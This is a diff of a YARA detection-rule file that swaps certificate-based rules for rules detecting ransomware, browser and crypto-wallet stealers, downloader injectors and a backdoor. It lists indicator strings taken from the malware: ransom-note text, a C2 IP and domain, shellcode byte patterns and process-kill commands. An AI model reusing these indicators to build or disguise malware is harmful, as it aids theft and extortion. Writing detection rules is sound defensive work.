+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3516-L3527"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5841-L5857"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a772edb12dc0c351bb4d11f3e6ab3d9705af156ebeb4b8fff281bb418bfa1764"
+		logic_hash = "9cc406ae078e37430b3cf10954c02014b9760bc887344842e724df735d1d9808"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "591f68885fc805a10996262c93aab498c81f3010"
-		importance = 20
+
+	strings:
+		$s1 = "([\\S]+?)=([^;|^\\r|^\\n]+)" fullword ascii
+		$s2 = "(.+?): ([^;|^\\r|^\\n]+)" fullword ascii
+		$s3 = "Set-Cookie: ([^\\r|^\\n]+)" fullword ascii
+		$s4 = "cmd.exe /c taskkill /f /im chrome.exe" fullword ascii
+		$s5 = "FIREFOX.EXE|Google Chrome|IEXPLORE.EXE" ascii
+		$pdb1 = "F:\\facebook_svn\\trunk\\database\\Release\\DiskScan.pdb" fullword ascii
+		$pdb2 = "D:\\Projects\\crxinstall\\trunk\\Release\\spoofpref.pdb" fullword ascii
+		$ua1 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36" fullword ascii
+		$ua2 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Osnova OOO" and pe.signatures[i].serial=="0a:55:c1:5f:73:3b:f1:63:3e:9f:fa:e8:a6:e3:b3:7d")
+		uint16(0)==0x5a4d and (( all of ($s*) and 1 of ($pdb*) and 1 of ($ua*)) or ( all of ($ua*) and 1 of ($pdb*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00F675139Ea68B897A865A98F8E4611F00 : FILE
+rule DITEKSHEN_MALWARE_Win_Bitcoingrabber : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects generic bitcoin stealer"
 		author = "ditekSHen"
-		id = "7035ed66-73f9-568e-9698-13d9bbede64e"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "f73b58da-1db5-5767-ae0a-074648e30966"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3529-L3540"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5859-L5875"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9893e21fd2d5a475c9defb484921de17f4afc00619be413b9d5d55095e7f596a"
+		logic_hash = "2dc762525c1fbf25517df52f0561d96d7469bf1367eada31c236fc313001c6cb"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "06d46ee9037080c003983d76be3216b7cad528f8"
-		importance = 20
+
+	strings:
+		$s1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
+		$s2 = "Bitcoin-Grabber" ascii
+		$s3 = "Bitcoin_Grabber" ascii
+		$s4 = "encrypt resources [compress]T" fullword ascii
+		$s5 = "code control flow obfuscationT" fullword ascii
+		$s6 = "\\Users\\lakol\\Desktop\\a\\Crypto Currency Wallet Changer\\" ascii
+		$pat1 = "\\b(bc1|[13])[a-zA-HJ-NP-Z0-9]{26,35}\\b" fullword wide
+		$pat2 = "\\b0x[a-fA-F0-9]{40}\\b" fullword wide
+		$pat3 = "\\b4([0-9]|[A-B])(.){93}\\b" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BS TEHNIK d.o.o." and pe.signatures[i].serial=="00:f6:75:13:9e:a6:8b:89:7a:86:5a:98:f8:e4:61:1f:00")
+		uint16(0)==0x5a4d and 4 of ($s*) or ( all of ($pat*) and 2 of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_121Fca3Cfa4Bd011669F5Cc4E053Aa3F : FILE
+rule DITEKSHEN_MALWARE_Win_FOXGRABBER : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects FOXGRABBER utility"
 		author = "ditekSHen"
-		id = "be18fe1a-f810-5153-b565-97a0e33cf406"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b98e501c-e9c6-5fcc-bfa0-9475ce32864c"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3542-L3553"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5877-L5890"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c5f7f23d9ba35bed3540233217e18b84c5ac0528fd3fe809c162fce6ccce0791"
+		logic_hash = "5ecba516f1155bdcccf83b0a034b11d8eac8619d4c3326fdbc76082fbe4daf02"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "84b5ef4f981020df2385754ab1296821fa2f8977"
-		importance = 20
+
+	strings:
+		$s1 = "start grabbing" wide
+		$s2 = "end grabbing in" wide
+		$s3 = "error of copying files from comp:" wide
+		$s4 = "\\Firefox\\" wide nocase
+		$pdb1 = "\\obj\\Debug\\grabff.pdb" ascii
+		$pdb2 = "\\obj\\Release\\grabff.pdb" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kymijoen Projektipalvelut Oy" and pe.signatures[i].serial=="12:1f:ca:3c:fa:4b:d0:11:66:9f:5c:c4:e0:53:aa:3f")
+		uint16(0)==0x5a4d and ( all of ($s*) or (1 of ($pdb*) and 1 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_62B80Fc5E1C02072019C88Ee356152C1 : FILE
+rule DITEKSHEN_MALWARE_Win_Browsergrabber : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Hunt for FOXGRABBER-like samples but for various browsers"
 		author = "ditekSHen"
-		id = "08db7669-c3d6-5f27-988e-96e9fc0a60f3"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a50a60cf-5ab8-5e4e-be00-aa0306f4d84f"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3555-L3566"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5892-L5906"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "c06e31f5a071ff7c87af216d22bffa2970372fa341ad2593ef0c3c6a71dac945"
+		logic_hash = "c96a63566280758d8c32542bfab3c6faa7d21329430345f51ea4c2f0a6809dc2"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
-		thumbprint = "0a83c0f116020fc1f43558a9a08b1f8bcbb809e0"
-		importance = 20
+
+	strings:
+		$s1 = "start grabbing" wide
+		$s2 = "end grabbing in" wide
+		$s3 = "error of copying files from comp:" wide
+		$s4 = /(Chrome|Edge)/ wide
+		$ff = "\\Firefox\\" wide nocase
+		$pdb1 = "\\obj\\Debug\\grab" ascii
+		$pdb2 = "\\obj\\Release\\grab" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Inversum" and pe.signatures[i].serial=="62:b8:0f:c5:e1:c0:20:72:01:9c:88:ee:35:61:52:c1")
+		uint16(0)==0x5a4d and not ($ff) and ( all of ($s*) or (1 of ($pdb*) and 1 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_F0E150C304De35F2E9086185581F4053 : FILE
+rule DITEKSHEN_MALWARE_Win_Deathransom : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects known DeathRansom ransomware"
 		author = "ditekSHen"
-		id = "d2a5cd5b-1e4a-5714-bff2-08f2c958cd0b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "a6eeb607-8b5c-5982-8b5a-aa2b3c6a65e6"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3581-L3592"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5908-L5925"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fe3d5d57d0a98414e3e4f35248d3ebf64617c16a4119a21883c3679b06146745"
+		logic_hash = "3c87364a7ecc403262056eeccaa16bf230fbbe684e21d35099d0d572abba9eda"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "c0a448b9101f48309a8e5a67c11db09da14b54bb"
-		importance = 20
+
+	strings:
+		$s1 = "%s %f %c" fullword ascii
+		$pdb1 = ":\\wud.pdb" ascii
+		$spdb2 = "\\crypt_server\\runtime\\crypt" ascii
+		$spdb3 = "\\bin\\nuvin.pdb" ascii
+		$h1 = "#Dunubeyokunov" wide
+		$h2 = "^Neyot dehipijakeyelih" wide
+		$h3 = "talin%Sanovurenofibiw" wide
+		$h4 = "WriteFile" fullword ascii
+		$h5 = "ClearEventLogA" fullword ascii
+		$h6 = "Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rare Ideas, LLC" and pe.signatures[i].serial=="f0:e1:50:c3:04:de:35:f2:e9:08:61:85:58:1f:40:53")
+		uint16(0)==0x5a4d and ( all of ($pdb*) or ( all of ($s*) and 1 of ($pdb*)) or 5 of ($h*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_A1A3E7280E0A2Df12F84309649820519 : FILE
+rule DITEKSHEN_MALWARE_Win_Unlockyourfiles : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects UnlockYourFiles ransomware"
 		author = "ditekSHen"
-		id = "71ad82d6-e45e-52a9-b1ff-f00cfe7b5186"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "265f2a48-143a-56c9-9cd4-b5137799a9e8"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3594-L3605"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5927-L5946"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5c656fa5a6671f717cda5433c8780d308f11b7937e5ff66b4f3f74623b217365"
+		logic_hash = "05f549467fac03d4aa2248a9c6c87e4c4273ed6ad727ebb77a4dd115032e454b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "33d254c711937b469d1b08ef15b0a9f5b4d27250"
-		importance = 20
+
+	strings:
+		$s1 = "filesx0" wide
+		$s2 = "_auto_file" wide
+		$s3 = "<EncyptedKey>" fullword wide
+		$s4 = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts\\" wide
+		$s5 = "DecryptAllFile" fullword ascii
+		$s6 = "AES_Only_Decrypt_File" fullword ascii
+		$m1 = "Free files decrypted" wide
+		$m2 = "Restore my files" wide
+		$m3 = "Type tour password..." wide
+		$m4 = "files encrypted by strong password" ascii
+		$m5 = "buy bitcoin" ascii
+		$m6 = "Unlock File" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Nir Sofer" and pe.signatures[i].serial=="a1:a3:e7:28:0e:0a:2d:f1:2f:84:30:96:49:82:05:19")
+		uint16(0)==0x5a4d and (4 of ($s*) or 5 of ($m*) or (2 of ($s*) and 2 of ($m*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_1Fb984D5A7296Ba74445C23Ead7D20Aa : FILE
+rule DITEKSHEN_MALWARE_Win_Decryptmyfiles : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects DecryptMyFiles ransomware"
 		author = "ditekSHen"
-		id = "1e290f81-11ab-5d5f-ab7a-c703c875bde4"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "dab518f2-3fac-5492-88fb-35cd0000ec47"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3607-L3618"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5948-L5964"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ff29013eb20bccbec16107404fc18b07c87ac5269b788c48a49a490271e94052"
+		logic_hash = "5b7f74569700e2ad3f31388571dad5ffda45f5ab3dd36806f7514aff0367d5ba"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
-		thumbprint = "c852fc9670391ff077eb2590639051efa42db5c9"
-		importance = 20
+
+	strings:
+		$s1 = "FILES ENCRYPTED" wide
+		$s2 = "pexplorer.exe" fullword wide
+		$s3 = "uniquesession" fullword ascii
+		$s4 = ".[decryptmyfiles.top]." fullword ascii
+		$s5 = "decrypt 1 file" ascii
+		$s6 = "(databases,backups, large excel" ascii
+		$c1 = "api/connect.php" ascii
+		$c2 = "decryptmyfiles.top" ascii
+		$c3 = "/contact/" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DrWeb Digital LLC" and pe.signatures[i].serial=="1f:b9:84:d5:a7:29:6b:a7:44:45:c2:3e:ad:7d:20:aa")
+		uint16(0)==0x5a4d and (4 of ($s*) or all of ($c*) or (2 of ($c*) and 2 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_C314A8736F82C411B9F02076A6Db4771 : FILE
+rule DITEKSHEN_MALWARE_Win_Motocos : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Motocos ransomware"
 		author = "ditekSHen"
-		id = "0a8af16c-f232-5e09-9825-0e8203ba7b45"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "be7284be-b57d-5a2c-9a84-37d76445cd0d"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3620-L3631"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5966-L5981"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8aa08c4d1da62d0629db6e29f7a730da3534f114620e30f8d89e5475c12f43de"
+		logic_hash = "99ac365c277058503874313e3a74ab016d6d279b47c754c3df950e3ce60e29f1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "9c49d7504551ad4ddffad206b095517a386e8a14"
-		importance = 20
+
+	strings:
+		$s1 = "Block Investigation Tools" wide
+		$s2 = "powershell.exe,taskmgr.exe,procexp.exe,procmon.exe" wide
+		$s3 = "google.com,youtube.com,baidu.com,facebook.com,amazon.com,360.cn,yahoo.com,wikipedia.org,zoom.us,live.com,reddit.com,netflix.com,microsoft.com,instagram.com,vk.com," wide
+		$s4 = "START ----" wide
+		$s5 = "TEngine.Clear_EventLog_Result" wide
+		$s6 = "TEngine.EncryptLockFiles" wide
+		$s7 = "TEngine.CleanShadowFiles" wide
+		$s8 = "TDNSUtils.SendCommand" wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Cbcbaeaabbfcebfcbbeeffeadfc" and pe.signatures[i].serial=="c3:14:a8:73:6f:82:c4:11:b9:f0:20:76:a6:db:47:71")
+		uint16(0)==0x5a4d and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_5F7Ef778D51Cd33A5Fc0D2E035Ccd29D : FILE
+rule DITEKSHEN_MALWARE_Win_Dlagent12 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects downloader agent"
 		author = "ditekSHen"
-		id = "95b1cba9-9625-55da-a321-08cdd4d3056f"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "841b998b-99d1-50d8-bc7b-75b2a8e690bf"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3633-L3644"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5983-L5993"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9b57fd9840dceea97a2f013f803e8639add6c6b01f3764b65b3c1fe60ae0dd57"
+		logic_hash = "b9845414f4ce4cc25b75a8de7569c4135bbb7ba9098fd4c50d7ac80302e99b8f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "87229a298b8de0c7b8d4e23119af1e7850a073f5"
-		importance = 20
+
+	strings:
+		$s1 = "WebClient" fullword ascii
+		$s2 = "DownloadData" fullword ascii
+		$s3 = "packet_server" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Ffadbcfabbe" and pe.signatures[i].serial=="5f:7e:f7:78:d5:1c:d3:3a:5f:c0:d2:e0:35:cc:d2:9d")
+		uint16(0)==0x5a4d and all of them and filesize <50KB
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00Ab1D5E43E4Dde77221381E21A764C082 : FILE
+rule DITEKSHEN_MALWARE_Win_Dlinjector01 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects specific downloader injector shellcode"
 		author = "ditekSHen"
-		id = "55135b31-93d7-512f-8506-51e49bc3dc92"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "c5e0946c-3e15-5ebc-b1b5-3f00566dc5cd"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3646-L3657"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L5995-L6015"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3746c3494dca7fd2e0c7ab6641fe9ebbb8519df755022a3bde99c192158e4299"
+		logic_hash = "5c13af5fdbb2e8a27103d9502126a82d0bff15d9a269b22e4279b5b459d50e2d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "b84a817517ed50dbae5439be54248d30bd7a3290"
-		importance = 20
+
+	strings:
+		$s1 = "process call create \"%s\"" ascii wide
+		$s2 = "\\REGISTRY\\MACHINE\\System\\CurrentControlSet\\Enum\\" ascii wide
+		$s3 = "%systemroot%\\system32\\ntdll.dll" ascii wide
+		$s4 = "qemu-ga.exe" ascii wide
+		$s5 = "prl_tools.exe" ascii wide
+		$s6 = "vboxservice.exe" ascii wide
+		$o1 = { 75 04 74 02 38 6e 8b 34 24 83 c4 04 eb 0a 08 81 }
+		$o2 = { 16 f8 f7 ba f0 3d 87 c7 95 13 b7 64 22 be e1 59 }
+		$o3 = { 8b 0c 24 83 c4 04 eb 05 ea f2 eb ef 05 e8 ad fe }
+		$o4 = { eb 05 1d 51 eb f5 ce e8 80 fd ff ff 77 a1 f4 cd }
+		$o5 = { eb 05 6e 33 eb f5 73 e8 64 f6 ff ff 77 a1 f4 77 }
+		$o6 = { 59 eb 05 fd 98 eb f4 50 e8 d5 f5 ff ff 3b b9 00 }
+		$o7 = "bYkoDA7G" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Dadddbffbfcbdaaeeccecbbffac" and pe.signatures[i].serial=="00:ab:1d:5e:43:e4:dd:e7:72:21:38:1e:21:a7:64:c0:82")
+		( uint16(0)==0x5a4d and all of ($o*)) or ( all of ($s*))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_4743E140C05B33F0449023946Bd05Acb : FILE
+rule DITEKSHEN_MALWARE_Win_Dlinjector02 : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects downloader injector"
 		author = "ditekSHen"
-		id = "f3e8046a-0df7-5a67-a363-02961ec1545b"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "ce2c418d-18e4-579c-9828-94e294385846"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3659-L3670"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6017-L6034"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "be8764a008743f8ca8c1a5760c5daa7f6896c8710f5f79f9d5b42b07ef0d5fa8"
+		logic_hash = "76d185cfcbc7f4996c2fb5c7c1ba4eb20b32d322d8ff47594283a4ca3e573a0b"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7b32c8cc35b86608c522a38c4fe38ebaa57f27675504cba32e0ab6babbf5094a"
-		importance = 20
+
+	strings:
+		$x1 = "In$J$ct0r" fullword wide
+		$x2 = "%InJ%ector%" fullword wide
+		$a1 = "WriteProcessMemory" fullword wide
+		$a2 = "URLDownloadToFileA" fullword ascii
+		$a3 = "Wow64SetThreadContext" fullword wide
+		$a4 = "VirtualAllocEx" fullword wide
+		$s1 = "RunPE" fullword wide
+		$s2 = "SETTINGS" fullword wide
+		$s3 = "net.pipe" fullword wide
+		$s4 = "vsmacros" fullword wide
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "STROI RENOV SARL" and pe.signatures[i].serial=="47:43:e1:40:c0:5b:33:f0:44:90:23:94:6b:d0:5a:cb")
+		uint16(0)==0x5a4d and (1 of ($x*) or ( all of ($a*) and 3 of ($s*)))
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_2C1Ee9B583310B5E34A1Ee6945A34B26 : FILE
+rule DITEKSHEN_MALWARE_Win_Nermer : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Nermer ransomware"
 		author = "ditekSHen"
-		id = "0cc94ceb-a5bf-511a-bcd0-136b5d35c348"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "fce4f178-8e98-53b0-ae09-2ce876ad524e"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3672-L3683"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6036-L6062"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4891757929b64b45591792dd2526ffb7588345f76bcbd3e47f567e72ba03d7f2"
+		logic_hash = "e885b1b908b256ee07f5cb144d63f5ad65e5bf746b70efe168b0ac742a246ab3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "7af96a09b6c43426369126cfffac018f11e5562cb64d32e5140cff3f138ffea4"
-		importance = 20
+
+	strings:
+		$x1 = "gPROTECT_INFO.TXT" fullword wide
+		$x2 = ".nermer" fullword wide
+		$s1 = "db_journal" fullword wide
+		$s2 = "quicken2015backup" fullword wide
+		$s3 = "mysql" fullword wide
+		$s4 = "sas7bdat" fullword wide
+		$s5 = "httpd.exe" fullword wide
+		$s6 = "Intuit.QuickBooks.FCS" fullword wide
+		$s7 = "convimage" fullword wide
+		$s8 = ".?AV?$_Binder@U_Unforced@std@@P8shares_t@" ascii
+		$s9 = "BgIAAACkAABSU0ExAAgAAAEAAQCt" ascii
+		$m1 = "YOUR FILES WERE ENCRYPTED" ascii
+		$m2 = "MARKED BY EXTENSION .nermer" ascii
+		$m3 = "send us your id: >> {id} <<" ascii
+		$m4 = "email us: >> {email} <<" ascii
+		$c1 = "/repeater.php" ascii
+		$c2 = "HTTPClient/0.1" fullword ascii
+		$c3 = "94.156.35.227" ascii
+		$c4 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "OOO Artmarket" and pe.signatures[i].serial=="2c:1e:e9:b5:83:31:0b:5e:34:a1:ee:69:45:a3:4b:26")
+		uint16(0)==0x5a4d and ( all of ($m*) or all of ($c*) or all of ($s*) or (4 of ($s*) and (1 of ($x*) or 1 of ($m*) or 2 of ($c*))) or 14 of them )
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_KB_CERT_00D338F8A490E37E6C2Be80A0E349929Fa : FILE
+rule DITEKSHEN_MALWARE_Win_Beastdoor : FILE
 {
 	meta:
-		description = "Detects executables signed with stolen, revoked or invalid certificates"
+		description = "Detects Beastdoor backdoor"
 		author = "ditekSHen"
-		id = "5bb542de-637f-58a4-b96a-f20dba7be1b7"
-		date = "2023-12-08"
-		modified = "2023-12-08"
+		id = "b271d53e-2693-5a93-825a-ef32f72a4b01"
+		date = "2024-05-28"
+		modified = "2024-05-28"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L3685-L3696"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L6064-L6084"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ed7a48df55f2d7873795470b9074421f4008d715db07978c79b174fc3f2a801a"
+		logic_hash = "d9a72717d124bcf1e3b95850cd524e577abe96a094586a5555faadba78fcb9ad"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		thumbprint = "480a9ce15fc76e03f096fda5af16e44e0d6a212d6f09a898f51ad5206149bbe1"
-		importance = 20
+
+	strings:
+		$s1 = "shellx.pif" fullword ascii nocase
+		$s2 = "Beasty" fullword ascii
+		$s3 = "* Boot:[" ascii
+		$s4 = "^ Shut Down:[" ascii
+		$s5 = "set cdaudio door" ascii
+		$s6 = "This \"Portable Network Graphics\" image is not valid" wide
+		$n1 = ".aol.com" ascii
+		$n2 = "web.icq.com" ascii
+		$n3 = "&fromemail=" fullword ascii
+		$n4 = "&subject=" fullword ascii
+		$n5 = "&Send=" fullword ascii
+		$n6 = "POST /scripts/WWPMsg.dll HTTP/1.0" fullword ascii
+		$n7 = "mirabilis.com" ascii
 
 	condition:
-		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "SAGUARO ApS" and pe.signatures[i].serial=="00:d3:38:f8:a4:90:e3:7e:6c:2b:e8:0a:0e:34:99:29:fa")
